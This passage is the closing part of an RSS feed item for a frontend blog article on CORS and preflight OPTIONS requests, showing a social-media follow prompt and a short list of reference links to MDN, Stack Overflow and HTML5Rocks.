<p><em>Follow me on</em> <a target="_blank" href="https://twitter.com/daslusan"><strong>twitter</strong></a> to get more updates regarding new articles and to stay updated in latest frontend developments. Also <strong>share</strong> this article on twitter to help others know about it. Sharing is caring <strong>^_^</strong></p>
</blockquote>
<h3 id="heading-some-helpful-resources">Some helpful resources</h3>
<p>Below are some of the links that inspired this article</p>
<ol>
<li><p><a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS">https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS</a></p>
</li>
<li><p><a target="_blank" href="https://stackoverflow.com/questions/24704638/options-request-makes-application-2x-slower">https://stackoverflow.com/questions/24704638/options-request-makes-application-2x-slower</a></p>
</li>
<li><p><a target="_blank" href="https://stackoverflow.com/questions/29954037/why-is-an-options-request-sent-and-can-i-disable-it/29954326">https://stackoverflow.com/questions/29954037/why-is-an-options-request-sent-and-can-i-disable-it/29954326</a></p>
</li>
<li><p><a target="_blank" href="https://www.html5rocks.com/en/tutorials/cors/">https://www.html5rocks.com/en/tutorials/cors/</a></p>
</li>
</ol>
 ]]>
                </content:encoded>
            </item>
        
    </channel>
</rss>
